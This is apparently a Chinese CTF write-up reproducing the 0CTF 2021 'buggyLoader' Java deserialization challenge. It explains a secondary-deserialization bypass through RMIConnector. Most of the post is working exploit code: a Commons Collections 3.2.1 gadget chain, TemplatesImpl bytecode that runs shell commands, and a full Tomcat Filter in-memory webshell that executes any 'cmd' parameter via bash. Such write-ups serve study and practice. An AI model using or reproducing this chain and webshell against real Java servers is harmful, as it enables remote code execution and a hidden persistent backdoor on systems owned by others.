0CTF-buggloader复现

题目环境:

https://github.com/waderwu/My-CTF-Challenges/tree/master/0ctf-2021-final/buggyLoader

参考:

solving

题目分析

pom.xml中的依赖就有一个cc的3.2.1

/basic路由下有反序列化的点

public class IndexController {
  @RequestMapping({"/basic"})
  public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
    byte[] b = Utils.hexStringToBytes(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
    String name = myObjectInputStream.readUTF();
    int year = myObjectInputStream.readInt();
    if (name.equals("SJTU") && year == 1896)
      myObjectInputStream.readObject(); 
    return "index";
  }
}

具体看看MyObjectinputStream,重写了resolveClass并使用URLClassLoader来加载类对象

public class MyObjectInputStream extends ObjectInputStream {
  private ClassLoader classLoader;
  
  public MyObjectInputStream(InputStream inputStream) throws Exception {
    super(inputStream);
    URL[] urls = ((URLClassLoader)Transformer.class.getClassLoader()).getURLs();
    this.classLoader = new URLClassLoader(urls);
  }
  
  protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    Class<?> clazz = this.classLoader.loadClass(desc.getName());
    return clazz;
  }
}

原本的ObjectInputStream使用forName来获取类对象,现在主要就是要明白目前的URLClassLoader加载类对象有什么特点。

可以看的MyObjectInputStream#resolveClass中最后使用ClassLoader#loadClass来获取类对象,使用该方法获取类对象不能加载原生类型和数组类型。不能加载数组这个在shiro550中遇到过,我们最后使用CC6+CC2或者CB链来解决的。但是使用shiro的无数组链来打其实并不能成功,会触发报错。原因就在于shiro中涉及的类的加载有很多方式(不同的类有不同获取类对象方式),而在这里只有ClassLoader#loadClass这一种方式,它完全要求我们不能有数组出现。

二次反序列化 RMIConnector#connect()

这里就要引出一种非常好的解决方式了:二次反序列化。挖掘二次反序列化的类我们可以使用CodeQL,在一方面我们就要靠积累了;这位师傅总结了二次反序列化的类,除此之外还要java.security.SignedObject#getObject也常用。但是这里SignedObject也不可以使用,它的content属性是一个字节数组

public final class SignedObject implements Serializable {

    private static final long serialVersionUID = 720502720485447167L;

    private byte[] content;
    private byte[] signature;
    private String thealgorithm;

javax.management.remote.rmi.RMIConnector#connect() 它的调用链比较长

javax.management.remote.rmi.RMIConnector#connect()
javax.management.remote.rmi.RMIConnector#connect(Map<String,?> environment)
    -javax.management.remote.rmi.RMIConnector#findRMIServer(JMXServiceURL directoryURL, Map<String, Object> environment)
    	-javax.management.remote.rmi.RMIConnector#findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)

编写方式在网上找一个例子按着来就可以

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + ip + ":" + port + payload);
RMIConnector rmiConnector = new RMIConnector(url, null);
rmiConnector.connect();

Gadget编写

然后就是写二次反序列化前后的代码

  • 二次反序列化前要求能触发javax.management.remote.rmi.RMIConnector#connect()的链子就行
  • 二次反序列化后能动态加载字节码就可以

exp: 二次反序列化前的链子

package TCTF;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
    public static String string="";
    public static void main(String[] args) throws Exception {
        String exp = "";
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://127.0.0.1:8888/stub/"+exp);
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,null);

        InvokerTransformer invokerTransformer = (InvokerTransformer) InvokerTransformer.getInstance("connect");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,rmiConnector);
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,123);
        lazyMap.remove(rmiConnector);

        setFieldValue(lazyMap,"factory",invokerTransformer);

        //serialize(hashMap);
        TCTF_serialize(hashMap);
        System.out.println(string);
        //unserialize();
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getCalcBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception{
        //byte[] bytes = ClassPool.getDefault().get("memshell").toBytecode();
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static byte[] getCalcBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void TCTF_serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeUTF("SJTU");
        objectOutputStream.writeInt(1896);
        objectOutputStream.writeObject(object);
        string = Utils.bytesTohexString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

payload: 二次反序列后的链子

package TCTF;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.SignedObject;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Payload {
    private static String string="";
    public static void main(String[] args) throws Exception {
        TemplatesImpl tempalteslmpl = (TemplatesImpl) getTempalteslmpl();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { tempalteslmpl });

        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        HashMap innerMap = new HashMap();
        DefaultedMap outerMap  = (DefaultedMap) DefaultedMap.decorate(innerMap,constantTransformer);
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);

        HashMap expMap =  new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.clear();
        setFieldValue(outerMap,"value",instantiateTransformer);

        serialize(expMap);
        System.out.println(string);
        unserialize();
    }
    public static Object getTempalteslmpl() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] evilBytes = getEvilBytes();
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws Exception {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,field_value);
    }
    public static byte[] getEvilBytes() throws Exception{
        byte[] bytes = ClassPool.getDefault().get("TCTF.TomcatFilterMemShellFromThread").toBytecode();
//        ClassPool classPool = new ClassPool(true);
//        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
//        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
//        helloAbstractTranslet.setSuperclass(ctClass);
//        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
//        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"touch /tmp/hello\"});");
//        helloAbstractTranslet.addConstructor(ctConstructor);
//        byte[] bytes = helloAbstractTranslet.toBytecode();
//        helloAbstractTranslet.detach();
        return bytes;
    }
    public static byte[] getCalcBytes() throws Exception {
        ClassPool classPool = new ClassPool(true);
        CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        helloAbstractTranslet.setSuperclass(ctClass);
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        helloAbstractTranslet.addConstructor(ctConstructor);
        byte[] bytes = helloAbstractTranslet.toBytecode();
        helloAbstractTranslet.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

MemShell内存马

这里直接使用了Y4er师傅的Filter内存马,原本想使用TomcatListenerMemShellFromJMX的内存马结果打入失败(原因我也不知道)

TomcatFilterMemShellFromThread

package TCTF;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;

public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
    static {
        try {
            final String name = "MyFilterVersion" + System.nanoTime();
            final String URLPattern = "/*";

            WebappClassLoaderBase webappClassLoaderBase =
                    (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            Class<? extends StandardContext> aClass = null;
            try {
                aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
                aClass.getDeclaredField("filterConfigs");
            } catch (Exception e) {
                aClass = (Class<? extends StandardContext>) standardContext.getClass();
                aClass.getDeclaredField("filterConfigs");
            }
            Field Configs = aClass.getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);

            TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();

            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(behinderFilter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(behinderFilter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);

            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern(URLPattern);
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());

            standardContext.addFilterMapBefore(filterMap);

            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

            filterConfigs.put(name, filterConfig);
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }


    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest) servletRequest;
        if (req.getParameter("c") != null){
            Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();

            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
            String line = null;
            StringBuffer sb = new StringBuffer();
            while ((line = br.readLine()) != null){
                sb.append(line + System.getProperty("line.separator"));
            }

            servletResponse.getWriter().write(new String(sb));
            process.destroy();
            return;
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

posted @ 2022-07-03 17:46  B0T1eR  阅读(283)  评论(0)    收藏  举报